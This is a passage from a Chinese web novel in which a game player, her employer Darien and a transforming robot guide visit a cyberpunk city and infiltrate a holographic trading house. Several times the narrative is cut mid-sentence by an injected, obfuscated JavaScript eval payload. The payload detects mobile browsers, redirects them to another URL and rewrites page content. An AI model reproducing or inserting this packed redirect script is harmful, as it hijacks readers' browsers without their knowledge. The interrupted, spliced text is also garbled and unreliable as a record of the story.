“但在飞船上，我的确用比较粗暴的方式把你带走了，这点我不否认。” “所以，我欠你一个人情。” 柳莳萌没想到他会这样说，因而她也没有看清楚达里恩脸上一闪而逝的表情。莫名地，她觉得有点可惜。 “现在来回答你在飞船上问过我的问题。”达里恩拉过一张椅子，随意坐下，“那件事的确是我干的。” “我在更早之前，准确来说，是在救下你之前，第一次被盗贼团老大威胁的时候，就决定好了要做这件事情。” “有价值的东西就留下，没有利用价值的东西立刻扔掉。星际盗贼本就不打算放过任何一个活口，那是他们的一贯做法。” 达里恩放松身体，将视线投向窗外，那里除了绿树的投影外空无一物，他的视线停留在更加遥远的地方。 “其实，我最初想法是：只要他们不来惹我，我就当一个平凡而又普通的飞船维修工。但计划有变，我收到了战争信号。” “军团决定清剿银河系中的星际盗贼团，打压他们的嚣张气焰，而我将自己的坐标发送给了他们，让他们能够精准定位，摧毁飞船，一个不留。” “然后/我碰上了你。” 柳莳萌听完了全部，事情没有她想象的那么复杂，一切也情有可原。说白了就是三个字：走剧情。 这是新纪元序章的剧情。 玩家的身份是生活在云端之城，不谙世事的普通后人类，但战争打响后，一切都改变了。军团出现，随后出现了与军团对立的反叛军，云端之城的无知无畏者被征召入伍，进入星系，但叛徒也隐藏在其中…… “好吧，我大概知道了。” 她扶额思考，刺痛感像针蛰一样穿过她的脑海，柳莳萌只感受到了割裂的“荒谬感”：玩家剧情如何与她已经没有关系了，现在该迫切思考的问题是“该如何赚钱”啊。 但无论怎么想，等到正式剧情开始，战争爆发，就很难再捞到什么油水了。唉，没办法了，难道……柳莳萌瞪大双眼：这次活动我要做一个大发国难财的“纯恶人”？ “不不不……”柳莳萌立刻打消了这个念头。 难道就没有什么人能够帮上我的忙吗？比如说……柳莳萌的视线轻飘飘地落在达里恩的身上。 *** “借我一千万。” “咳！你是认真的吗？” “当然是认真的。唔，虽然我没仔细思考过，但我觉得你的长相看起来就很有钱。” “……那真是谢谢你了。” 因为他们说了很多话，达里恩心里想着或许她应该饿了，便带她出去吃饭了。没想到，她居然会在吃饭的时候突然语出惊人，而且，这是在后勤部的食堂。 周围开始有人在窃窃私语。 *“他？居然有人敢找这恶霸帮忙？” *“八成是被威胁了吧？别在意，就当做没有看到好了。” *“小姑娘挺惨的，我们吃饭吧别管了。” *“哎哟，我就知道会有这一天，恶霸果然过上向别人放高利贷的生活了……” *“看坐在他对面的人，还是个小姑娘呢，我天，擅用职权啊。” 柳莳萌握着勺子的手微微颤抖：“你在这里的名声……很糟糕吗？” “没错。”达里恩靠近她，用只有两个人能听到的声音说道，“因为我是没有通知，空降进来的人，任谁看都觉得很奇怪。花了很久的时间适应这里，融入这里，尽量不惹是生非……” “托你的福，我现在变成一个名人了。” “咣当”—— 她的勺子掉在了桌子上。 完、蛋、了。 *** 在军团后勤部稍作休息，几天之后，达里恩带柳莳萌去了一个地方，因为上次的“食堂事件”，她根本不好意思拒绝他。 他们搭乘上另一艘飞船，柳莳萌看着玻璃罩外的军团飞船渐行渐远，越发感慨，她开口问道，“我们要去哪里？” 达里恩坐在她的身旁，把玩着手里的煤油打火机：“你不是想去赚钱吗？我还以为你会知道。这银河系，乃至整个宇宙，最赚钱的地方只有一个。” “咔”—— 他掀开盖子，霎时间，火光四射，温暖的光线划过窗外寂静的星空，像一粒微弱的红尘，湮灭于漫天黑烬中。 “云端之城，就是我要带你去地方。” 34. 赛博都市加载中7.1 【云端之城，上城区】 这里在信息面板中显示的是上城区，实际上，更为人所熟知的是“圆轮”。圆轮名为“波瑞阿斯之环”，是希冀古希腊神话中的北风之神，能够将风送进宇宙把飞船带往云端。 与面板所提供的信息相比，她看到的远远不止于此。 柳莳萌只在电视中远远看过这个景象。她向上看，透过像透明玻璃一样的穹顶，看见一艘飞船停泊在上方。 它稳稳停在了蓝色光线框定的区域范围之内，降落的气流形成了迷雾。所有视线被阻隔，只能从中看出一个朦胧的庞然大物，洒下漆黑的阴影。 达里恩带着她走入摩天巨塔中央，塔中有无数个可供游客搭乘的“穿梭电梯”，通过精妙控制气流，让药丸形状的小舱自由上行或下行。 他们要去的地方在第九区，那里是上城区的商业街，两条高架桥道路交汇而过，形成了“东南西北”四个高矮各异、纵横交错的小区域。 “非得要走的吗？” 一路下至第九区，柳莳萌感觉自己只是在大楼和楼梯之间打转。等她走到双脚麻木，彻底分不清方向的时候，达里恩告诉她到地方了。 她弯下腰，双手扶着膝盖，靠在泊车路牌旁休息：“这里可以停车啊，我们就应该打车过来才对。” 达里恩不置可否地耸了耸肩：“可以是可以。” “但是，在这里不熟悉路的话很容易迷路。你要是随随便便被什么路过的人拐跑了，作为雇主的我很吃亏。” 柳莳萌背过身，小声嘀咕：“哼，有信息面板在……我才不会迷路呢……” 不对，他后面半句说的是什么？！她猛地回身，不可思议道，“你什么时候成了我的雇主了？” 突然，她身后的卷闸门向上打开，一道耀眼的白光刺破黑暗，晃得两人睁不开眼。正当柳莳萌心觉纳闷的时候，门后传来轰鸣的汽车引擎启动声。 糟糕！有车失控了！ 柳莳萌估算了一下距离，在知道已经来不及跑走后，她扑向达里恩，抓住他的手，迅速用自己身体的重量带他向右方的人行道滚倒躲避。 “咦？” “当前时间，本机第一责任人[达里恩]正用一个睡眠姿势倒在街道边，对比阁下以往相同时间段内的所有行为，与当前行为重合度为零。奇怪！奇怪！正在迅速分析当前场景——” 身后传来冰冷的机械音。 它尽量用一种人类惊讶的情绪来模拟语气，但一番若无其事的长篇分析，迅速暴露了它非人的事实。 “扫描到一个年轻的陌生女人正压在阁下的身上。” “她的右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177750|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手紧紧握着阁下的左手，关系不明，推测[亲密]。两人神志清醒，体征正常，可排除[疾病]，其中阁下心率较普通水平略快……” 听到这话，柳莳萌火速看向身下的人。 “哦？它说你心率加快了？” “被你撞的。” 此时，达里恩已经起身，他恨不得就近找一个地洞钻进去，强忍住把这破机器砸烂的欲/望，开口说道：“够了，如果不想我立刻报废你，就闭上你的嘴。” “报废！报废！不行！不行！” “本机第一责任人[达里恩]拥有这个权利！但！本机尚且年幼，自那日相识起，才过去三年有余，还远远未到时候……本宫不能死！” 柳莳萌沉默了。 这都是些什么乱七/八糟的东西？！ “唉，头疼。”达里恩闭上眼，皱眉，这是他第一次流露出“不耐烦”的神情。 他将柳莳萌从地上扶起来，解释道：“抱歉，它的语言模块芯片很特殊，经常自动更新，所以会背着我偷偷下载一些奇怪的东西。但在专业领域，它是一个很好的帮手。” “容我和你介绍一下：这是店里的摩托车，但同时，也是具有变形功能的车型智能机器人。它在第九区有一个经常使用的伪装身份——助手Rin，你也可以叫它聆。” 35. 赛博都市加载中7.2 【副官，我已经告诉过你，不要再做这种职责范围之外的事情了。】 【唉，再这样下去你会有危险，虽然我很想支持你，但是，再继续下去的话，迟早有一天连我也护不了你……】 达里恩睁开眼，最近他总是会想起以前在军团里的事情。 军团里有很严明的纪律，尤其是对于级别较高的人来说更是如此。达里恩曾经鼓捣的玩意儿是不被允许的，但现在，它们却收获了一个小小的支持者。 他喝下一口热咖啡：感觉……还不赖。 柳莳萌兴奋地在聆旁边转来转去，切换成人形的聆从摩托车变成了一个小女孩。全黑色的眼珠包裹着绿色圆环的瞳孔，聆盯住柳莳萌后，迅速眨巴几下大眼睛，头上蹦出来一个大蝴蝶结发卡。 起初，她以为这是一种魔法，但仔细看才发现，这些全部都是使用【霓虹光线】构成的。它们像丝线一样，成为机器人身上发光的织物。 聆捧着脸，蹦蹦跳跳来到柳莳萌身旁，捏住她的衣角说道：“嘿嘿怎么样呢？好看咩？喜欢咩？” “不可能不喜欢嘟！经过扫描，这种装扮应该是最符合客人的口味嘟~” “你……”柳莳萌转头看向达里恩。 她微眯双眼：“我知道你的恶趣味了。” 你小子，光是欺负其他人类N/P/C还不够，居然还用机器人N/P/C来服务自己。性格简直糟糕透了！ “不是啊，嘶……！” 达里恩一看就知道柳莳萌正在往奇怪的方向胡思乱想，他赶紧出声制止，惊慌到热咖啡直接撒到了自己的衣服上。 “这是聆的服务口癖。” “平时我不在云端之城的时候，是由聆负责打理店内的所有事情。如果想让一般顾客变成回头客的话，当然要考虑到顾客的喜好，服务周到才行。” 他低头看了看一片狼藉的衣服和地面，无可奈何道：“我先去洗手间收拾一下。聆是很优秀的向导，你有任何不了解的事情都可以问它。” 柳莳萌点了点头：没想到这个机器人这么有用，这下就不得不进行一次“角色交换”了！ 原先绕着柳莳萌转来转去的聆消失不见了，换成了聆被柳莳萌围着转来转去。 “这里是什么地方？”柳莳萌问。 聆维持着“萌妹”人设，乖巧地坐在椅子上回答道：“这里是‘红月’，是由本机第一责任人全权管理，接受车辆订购合同，并向第一区至第十区的顾客售卖改装车辆的正规地下店铺。” “地下？”柳莳萌疑惑了，“这店在地面上啊为什么要叫地下？” 聆摇了摇头：“不是这样的。‘地下’一词为云端之城的行业黑话，专门指较不为人知，或者见不得人的东西。本机之这么介绍，是因为一年三百六十五天里，起码有一半时间是不开门营业的，当然没什么人知道了！” “哦了解了。还有，你说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳莳萌一顿，她抿紧唇，身体不自觉地开始焦躁起来。 ——没想到这么快就被它们给发现了！ 从最初进入活动世界开始，在众多的面板信息中，柳莳萌刻意忽视了其中一条。 【初始金额：八万，※资源道具，进入地点「云端之城」后，可在城中自由分配使用。】 “你也该考虑到当时我的立场吧？” 柳莳萌捏住脖子，感觉伤好的地方还在隐隐作痛，“一觉睡醒就发现自己被绑/架到飞船上，云端之城也只能是在电视里远远看上一眼而已，就算我有金币也根本花不出去。” 谁能想到，此时此刻，她正站在这个地方。 “唔，说的有点道理，那警告面板的工作就暂时结束啦！”聆的声音减弱，她逐渐安静下来，“还有一点，请务必不要在城中迷失自己。” 柳莳萌：“我记住了。” *** 【目前金额：七点九万】 柳莳萌坐在前台，手指滑过杯壁边缘，按下按钮，一杯热气腾腾的咖啡制作完成了。面前的顾客往聆身前一站，聆的瞳孔放射出绿光，扫描遍他全身。 “叮，金币已到账，感谢惠顾，欢迎下次光临”—— 这就是红月今天上午的收入来源。 她看向镜子，发现镜子里的人黑眼圈加深了一圈：“早起贪黑，日赚两块？这样下去，等到下辈子都赚不够一千万别说这辈子……” 在这里待了一周，柳莳萌花费一千金币打听赚钱的门路，最后一无所获。她严重怀疑自己被骗子骗了。不过，她还是发现了几件有意思的事情。 第一，红月很少开门营业的原因是，达里恩不想露风头。 而他不想太露风头的原因又是，这家地下店铺格外受欢迎，能够找到这里来的不乏有头有脸的大人物。 柳莳萌脱下围裙，往边上一甩：“聆，收拾一下，准备出门。” 第二，这些有头有脸的大人物从不主动出面，而当他们看上什么，会通过一个网站直接下单。 柳莳萌所知道的“网站”，是打开电脑输入网址，用浏览器就能直接观看的“网络站点”，可达里恩告诉她，那里是一个“全息交易所”。 “那个网站里有很多能上锁的小房间，保密性很高。但通常只有一个小房间是用来交易的，其他的，则是利用保密性混进去的匿名聊天。” “他们很喜欢这种隐蔽的交易方式。” “不止是上锁，甚至考虑到了就算有人会暴力破解，也就是闯入房间内，最终也会因为混淆，而无法准确找到交易房间的位置。” “其次，大厅的公共区域有舞池酒吧，全息可以直接作用于视觉神经， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15191339|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺激极大，他们爱去那里找乐子，买东西是顺带的激情行为。” “想进去需要key，也就是钥匙，但是你不能去。” 达里恩拒绝了柳莳萌的恳求并弹了一下她的脑门，“成年了没有？你这个小屁孩。” 在这里，柳莳萌还有很多事情都没弄懂，但她确定自己搞懂了一件事情：她讨厌被当成小孩子对待。 尤其是在她以为，他们已经历过生死，关系更近一步时，突然划清界限，后退一步的行为，让她之前的所有瞎猜都变成了幻想。 反正后悔的人一定不是我，柳莳萌微勾唇角，“聆，你应该还保留着网站的历史记录吧？” “当然啦。”她扬起拳头。 柳莳萌继续问：“你知道你的前主人交易时用的是哪一个网站吗？能带我进去吗？” “当然可以啦，但是现在还没到交易时间，估计进去也什么都没法看到哦。”聆好心提醒道。 “没关系。” 她的计划本就不是冲着大人物顾客去的：“比起大人物本人，他们爱去的‘地点’才更有探索的价值。”这里是乙女游戏，而往往游戏的主要情报，正是来源于游戏N/P/C！ *** 【全息交易所，大厅】 “大人，植入病毒生效了。” “房间内的客人都清理干净了，他们只会看见一片空白。所有的交易预约日期混乱，管理员修复好也将是明天的事情。今天，这里不会有任何人进来打扰，您大可以放心。” “很好。” “把密码箱打开吧，让我见一见他。” “我可爱的奴隶。” 37. 赛博都市加载中8 地点「全息交易所」已解锁。 “好不容易进去了，如果半路没电的话可就糟糕了。”她们来到一处能够充电的公共地点，柳莳萌握住聆的手：“我们开始吧。” 聆轻轻点头，机体微晃了一下，而后，她转头面向墙壁，黑色的眼中迸射出光线：【正在展开全息掠影，自动获取周围可用的4×4空间单位……】 在精妙的计算之下，借由一整面墙壁，平行的光线自边缘不断展开，直至柳莳萌的头顶与脚底被光线所覆盖，全息掠影的初步部署完成了。 【正在入侵，警告！遇到锁孔！】 柳莳萌的面前突然出现了一个漆黑的孔洞，大洞将她往中心吸，她的身体裹挟着一团数据乱流，不受控制地漂浮到空中。 她伸手去戳，但手指只是从一串冰蓝色的字母中径直穿过，被她触碰的地方迅速裂开，像是有生命一般避开了。 【这就是前主人使用的钥匙，不具备生物生命，避让是为了防止被破坏，请不要玩弄它！】 柳莳萌：不解释还好，一解释反而容易让人想歪了啊喂！ 身体没入进孔洞的瞬间，耳畔响起开锁的“咔哒”声，地狱似的地方变成了天堂的入口，纯白降临。聆松开手，变成了一同包裹住柳莳萌的光。 【认证通过。】 【检测到现主人与前主人的体态特征差异过大，若强行使用历史虚拟构建体，可能会因不匹配而造成马赛克现象。】 【既然如此，那么！就来久违地创建一个全新的虚拟构建体吧！】 “蛤？”柳莳萌迷茫地飘浮在空中。她不知道聆所说的“虚拟构建体”是什么，但当她扭头，看见面板【换装系统】的时候，立刻恍然大悟了。 *** 【ID暴躁少女柳如是，已进入交易房间。】 【话说，这种构建体真的好吗？我觉得……这有点……我不能接受！】 聆竭力捂住眼睛，但这不起作用。 为了帮柳莳萌创建更加符合她理想中的形象，聆使用了自己的数据，现在，她已经是虚拟构建体的一部分了。 柳莳萌梳理自己的卷发，让它们丝滑地从羊脂玉般的肩头垂落：“不，这种样子刚刚好。” 她卷起发梢，缠绕在指尖，“就该让每一根发丝都有能闪瞎狗眼的光泽，全身由内而外散发出黄金的味道，再配上暴发户都爱用的檀香……这才是来这里的人应该有的装扮。” 【你、你胡说！本机前主人的虚拟构建体就不是这样的！】 “不，他才不懂什么构建体。”柳莳萌抚过眼下，眼尾的金色鳞片栩栩如生，黄金尖瞳让她看起来像一只生出双腿走向陆地，魅惑众生的美人鱼。 “这可是资深乙女游戏玩家的自信。” 聆：【？？？】 “啊！我的狗眼——！！！” 大意了！由于交易房间内没有开灯，太过昏暗，柳莳萌进去的一刹那，光芒率先闪瞎了她自己的眼睛。 在逐渐适应光污染后，柳莳萌才缓缓起身，仔细观察起交易所内的环境。 交易所的房间样式看着就是一间普通的小包间。几张能容纳下五六个人的鳄皮沙发，比现实中所能看见的沙发更加弹软，它围成半圆，环绕在茶水桌周围。和聆所说的一样，这里空无一人。 她转悠了两圈，一无所获：“继续呆在这里意义不大，我们出去吧。” 【主人等等！这里有些不太对劲！】 【我从房间的摄像头里发现了一些奇怪的东西。根据历史记录，今天这个房间的正常交易时间为晚上二十一点整，是提前半个月设置好的预约时间，但不知道为什么，交易时间变成了……现在。】 “你说什么？” 柳莳萌的手放在门把手上，下一秒就准备推门走出去了，但听完聆说的话，她皱眉，慢慢松开了手，“这是不是单纯的系统故障啊？” 她想到自己放在家里的电脑，每次系统故障的时候，右下角的日期就会变。 【系统故障？】聆此前从未接触过系统故障，她所认知的全息掠影是完美的。 【唔，历史记录显示：主人所声明的系统故障次数是零。不过，不能完全排除可能性，理论上，即便存在百分之零点零一也是有可能的。】 【请放心！我会努力说服自己的！】 柳莳萌开始头疼了，她叹气道：“好吧，那你慢慢说服自己，我就先出去了。” “吱呀”—— 门被推开了，从外面。 *** “这个房间里的确传出了小老鼠叽叽喳喳的声音，真是奇怪，是我听错了吗……？”身穿黑西服的墨镜男人皱眉。 墨镜男人不信邪，他立刻走进房间扫视，整个房间里里外外，每个角落都被扫过一遍。即便如此细心，可他还是什么都没有看到。 “怎么了？” “没事，应该是我听错了。” “这可不像是你会犯的错误。” “实在是抱歉，大人，我这就把门关好。” 房间门被墨镜男人关好，等房间再次陷入黑暗，归为平静，一束金色光线从门后角落隐约透出。 屏住呼吸许久的柳莳萌大喘一口气，确认门外没有脚步声后，才慢慢放下了「黑色斗篷」。 「黑色斗篷」是星月宝匣中，SSR我即地狱卡面里专属于达里恩的装扮。而柳莳萌手里的这件比他身上穿的尺寸略小，是契合她的身形所诞生的“情侣款”。 “幸好刚刚构建的时候灵机一动，把它带出来了，不然我就要被刚刚那个人给发现了……” “没想到情侣装还有这种作用。” 柳莳萌用颤抖的双手抱住黑色斗篷，她跪坐在斗篷上，心有余悸，任由金色长发与红色礼服流泻在地，如同一轮银月攀上玫瑰园，柔/软的花瓣划破月光，洒下珍珠。 少女呢喃着：“我又被你给救了。” 不知何时起，她的眼泪夺眶而出。 但柳莳萌来不及为自己的命运悲伤，就又卷入进一个更加深重的命运之中。她的耳朵贴近门面，隔着门，门外人说话的声音模糊不清，但聆变成了听诊器，相当于为柳莳萌按下了音量扩大键，她很快听清楚他们说的话了。 *“不错，看起来比上次成色好了许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15202350|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多，这一批你是从哪里捞到的？应该不是随便什么地方都能找到的吧。” *“是的大人。属下按照您的吩咐，从下城区着手，那些狡猾的情报商人们吞了几片我们特制的遗梦香，就忍不住开口了。” *“在第十一区，有一个地下集中营，那里的土壤非常特殊，能够通过自然结晶的方式形成溶洞。形成溶洞的岩石大多是可溶岩石，水流经过时，岩石会被流水日渐溶蚀。但他们仍旧在这种环境中坚强地生存下来，非常难得。” *“啊哈……原来我可爱的奴隶是这么来的啊，感谢你的说明。” *“哪里哪里，这都是身为大人的属下应该去做的事情。我现在就把他们用箱子装走，应该很快就能拿去黑市上交易了。” 柳莳萌：“！！！” 聆：【！！！】 奴隶、地下集中营、黑市……无论怎么看，外面的人都在干一些丑恶无比的事情，柳莳萌嗅闻到了一股犯罪的气息，她被这股气息熏得想吐。 她小声问：“聆，你能查到外面的人的身份是什么吗？” 【能查到，但是，全息交易所内只会显示虚拟构建体的身份，除了极少一部分人会使用真名以外，其余的都是匿名。】 “好像……确实是这样的。” 柳莳萌低头沉思，她想到自己玩乙女游戏创建账号时，如果在“昵称”里输入真实姓名，心里就会生出一种奇怪的感觉。 毕竟，游戏角色的存在不能完全等同于玩家自己。如果是做自己的话，她根本就不会好好走剧情啊！ “既然身份不行的话，有没有别的方法？” 【方法？有的！正在全力为本机现任第一负责人检索方法ing...】 【想起来了！我的功能模组芯片能力强大，足以激活全息交易所内部所有的摄像头。】 “转人工。”柳莳萌忍无可忍了，“说人话，或者说简单亿点，说那种我能直接听懂的话。” 【哦哦！好的！简单来说就是：我能让主人你的眼睛穿透门，看见门外之人的虚拟构建体是什么。】 没等柳莳萌反应过来，高效迅速的成熟打工机器人聆说干就干，【正在激活...由于存在大量病毒残留，筛选需要一点时间，预计时间：5分钟。】 好吧，柳莳萌心想，就算等上个五分钟应该也没什么大问题。但是，奇怪了，为什么她突然感觉门外的人好像很久都没有说话了…… *“你说得对。” *“这里的确混进来了一只小老鼠呢。” *“交易房间的门缝里面一闪一闪亮晶晶的，难道是有人把麦克风带进来了在里面唱歌吗？这怎么可能呢。” *“告诉我，这到底是怎么一回事？为什么在你检查过后还是出现问题了？” *“大、大人……是属下失察了，属下、属下愧对大人的信任，无言以对……” *“嗯哼，原来是这样啊……” 冰冷的声音从门口传来。此时，柳莳萌抱住头，内心疯狂哀嚎：可恶啊！高调炫富果然遭报应了吗？！ *“把门给我打开，这次我和你一起进去查。” 38. 赛博都市加载中9 柳莳萌坐在酒吧的吧台前。 她像猫抬起尾巴一样翘起脚，慵懒地交叠双腿，而后撑住膝盖，任由鲜红色礼服拖曳在地。 墨镜男人站到她身旁，手里拿了一个玻璃杯。 她瞥了一眼旁边的信息面板：【龙舌兰酒，象征着成熟、知性与神秘之美，初次见面时赠予，代表对方是让人想结识的人。】 【酒精浓度高达一百度，疑似被篡改。】 “这是大人送给你的。” 显然，这位大人认为她是一位误入的女贵宾，想用这种温和的方式请她出去。但是嘛……柳莳萌抬眸，冲墨镜男人微微一笑：我绝不可能放过这次机会。 因为她嗅闻到了罪犯的味道。 “聆，达里恩之前说过，全息是作用于视觉神经的，那酒水也是这样的对吧？” 得到了否定的回答，柳莳萌拿住玻璃杯的手忽然一滞：“什么意思？” 【为保证全息足够逼真，一旦酒水被人食用，就会释放出麻痹味觉神经的喷雾，和喝酒时产生的酒醉感一样，但不会使人呕吐昏迷。】 “这下可麻烦了。” 柳莳萌旋转玻璃杯底，看着水花翻腾出钻石般的浮末，她必须要保持清醒，才能继续接下来要做的事情。 【无需担心，过量饮酒，醉酒是一种危险行为，已经强制为死神代理关闭了^_^】 “哈……原来不是聆，是你吗？和面板共用一个身体的感觉真糟糕。” 她俯身靠在吧台上，将玻璃杯内的液体一饮而尽。 “虽然味道就像是在喝矿泉水，但因为你，我感觉我都要吐出来了。” 墨镜男人亲眼看见柳莳萌喝下自己特制的通通忘记牌饮料，露出了满意的笑容。 在这之后，他频频低下头，抬手检查腕表，但他发现：时间悄然过去半个小时，面前的金发女人还是没有什么动作。 他彻底慌了。 “大人，我……”墨镜男人眼含热泪。 这是他跟随大人这么久以来，头一次经历连续翻车，两次任务失败，他已经没有颜面再留在这个男人身边了。鞠躬道歉管用的话，还要滑跪做什么！ “我请求辞职！！！” “好，我批准了，你从这里出去后就可以开始走流程了。” “对了，你出去前把那个不速之客带到我的面前来。我对她很感兴趣。” *** 柳莳萌被带到了那位大人面前。 一看见他的样貌后，她的双眼立刻发亮了：“你是……袂？” 《与死神同行》中的袂是一位擅长花言巧语的死神，用言语让人类顺从赴死是他的拿手好戏。 玩家，即是“你”从很早就能够知道这一点，因此习惯称呼他为“花花公子”。因为他是“你”一开始就能够攻略的四位“初始死神之一”，是非常重要的角色。 柳莳萌兴奋地握拳，心道：我赌对了！ 【身份信息面板已上线。】 【姓名：袂，身份：银河系惑水之星居民，皇室二皇子。】 袂并没有表现出很惊讶的样子，相反，他表现出“这个星球上不知晓自己是谁的人才是不存在的”的样子。 柳莳萌觉得奇怪，于是让聆查了一下。 她不查不知道，一查吓一跳。 【“惑水之星”是自人类迁移入银河系后最为宜居的星球，居民多为旧贵族与富豪，其中，“皇室”则是为这一类人提供保护的统治集团，拥有最为强大的财力。】 【皇室国王在年轻时提取了自己的基因，人造了很多个儿子，而被他亲自挑选出来的继承人才能算作“皇子”。二皇子年龄排行第二，关于这部分没有多少信息，可能说明此人行事谨慎低调。】 最为强大的财力么？柳莳萌暗暗思忖道，警惕地眨了一下眼，她不认为这种身份的袂跑到云端之城里，是单纯来玩的。 “坐吧。”袂大手一扬。 他用粉眸将柳莳萌从头到脚打量了一遍，得出了一个简单的结论：这个女士浑身上下都充满了矛盾之处。 如此绚丽华美的构建体，就算是旧贵族中，也少有使用得如此夸张的。明明身上空无一物，像个骗子一样，可坦坦荡荡的高调作风很难让人将她与这个词联系上。 ——实在有趣。 袂俯身拉近距离，将普普通通的茶水桌变成了审判桌：“我就开门见山了，刚才我们的对话，你听到了多少？” “没多少……”柳莳萌环抱双臂，肩膀略微向后靠，这样能够缓解局促的心情，“从你们谈论到情报商人开始，前面的我都没听到。” “那就是全部都听到了。” 袂打了一个响指：“因为某些原因，这件事情本来不能被其他人知道，但既然你知道了，那我们就来好好谈一谈这件事情。” “我从不和罪犯谈事情。” 在他转过身去时，柳莳萌利用了自己停留在视线盲区的一瞬间。 她抓住袂的手臂，将袂摔到地板上。钛合金肩膀义体硌得她生疼，全息痛觉反馈机制接连不断地向她反馈烧灼感，被损坏的地板摩/擦出了电火花碎片。 “女士，你可真胆大。” 袂看着她笑着说道：“但我不讨厌胆子大的女人哦。” 说完，他慢慢解开黑西装外套。熨帖合身的衣物被尽数剥落，左侧白色衬衫下露出细密的猩红色的亮光，它们正有规律地跳动着。 她注意到了这股异常滚烫的温度，正是痛觉反馈的由来。 【熔炉之心，改造心脏义体，能够使人长久不眠，维持活力。】 柳莳萌瞪大双眼，身份信息面板竟然没告诉她袂是一位植入义体的改造人。该死的。 她感受到他的手开始不安分地动弹：“不许动！你这个罪犯！” 随即，柳莳萌的手臂压住他的脖子，“我知道你在地下集中营里训练奴隶，还打算将他们带到黑市交易！作为星际猎手，我有义务抓捕你，如果你有任何想解释的事情，就去星际监狱里和他们解释吧！” “亲爱的女士，你误会我了。” 袂举起双手，做投降状，但他手里突然多出一个灰色密码箱，“我说的奴隶指的是这个。” “看完你就能够明白，我不是你口中所说的罪犯。” “咔哒”—— 密码箱并未上锁，被袂轻轻一推就打开了。铺满箱体的红布破开一角，它的腹内滚出几颗碎石。碎石的质地平平无奇如同沙砾，可从剥落的内部，纯净的深蓝，如同深海水层层翻涌，浪花形成斑驳的纹路，满溢其表。 “这是什么？”柳莳萌捡起一颗碎石，问。 “蓝钻晶石。” “在未加工之前它看起来就和普通的废石块一样，但它是飞船‘蓝色能量管道’的主要原材料。”袂坏笑道，冲她挑了挑眉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232218|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>柳莳萌立刻明白了：他口中所说的奴隶指的是这种石头，第十一区的地下集中营指的是生成石头的溶洞，黑市会交易各种东西，买卖石头也不足为奇。 可这里有一个地方说不通。 “既然你说自己不是罪犯，那为什么还要选择黑市交易？”柳莳萌捏住石头，锤在他的胸/口上，“如果是合法的普通交易，不应该选择在地上的渠道么？” 袂身体一顿，他的动作不再保留挑/逗，转而是强势地捏住她的下巴：“其实，我刚刚想和你讲的内容就是这个——我在想…该让你了解到什么程度为好。” “你有信心承担起全部吗？” 他很快加大了力度，并且没有减弱的趋势。 *** 【我认为可以一试！】 聆和柳莳萌说了一句悄悄话：【综合各种因素来分析，二皇子大概率不打算放过主人。】 【二皇子从一开始就在套话，目的与行为不纯，且对主人有所隐瞒。二皇子接下来所说的话大概率也不是什么好话，但是，能够确定二皇子暂时没有敌意。】 柳莳萌：你说他不打算杀我？那这么做难道是……为了试探我的可信度？ 【是的，我们可以抓住这一点进行突破。】 【获得二皇子的短暂信任。】 *** 柳莳萌抓住袂的手，发现他的指尖比冰还冷：“如果你不是罪犯的话，那从我们见面的那一刻起，我们就是共犯了。” 但是，游戏中的袂不是会如此轻易相信别人的角色。 柳莳萌记得，自己在新纪元活动中没有选择袂的路线。而袂偶尔会出现在芳汀路线中，当他出现时总是怀疑玩家，对玩家冷嘲热讽。 聆的分析没有任何问题，但不适用于一个玩家与一个被攻略角色之间。 玩家是比游戏中的任何人都更清楚他们本身的存在。此时此刻，柳莳萌选择相信自己的判断。 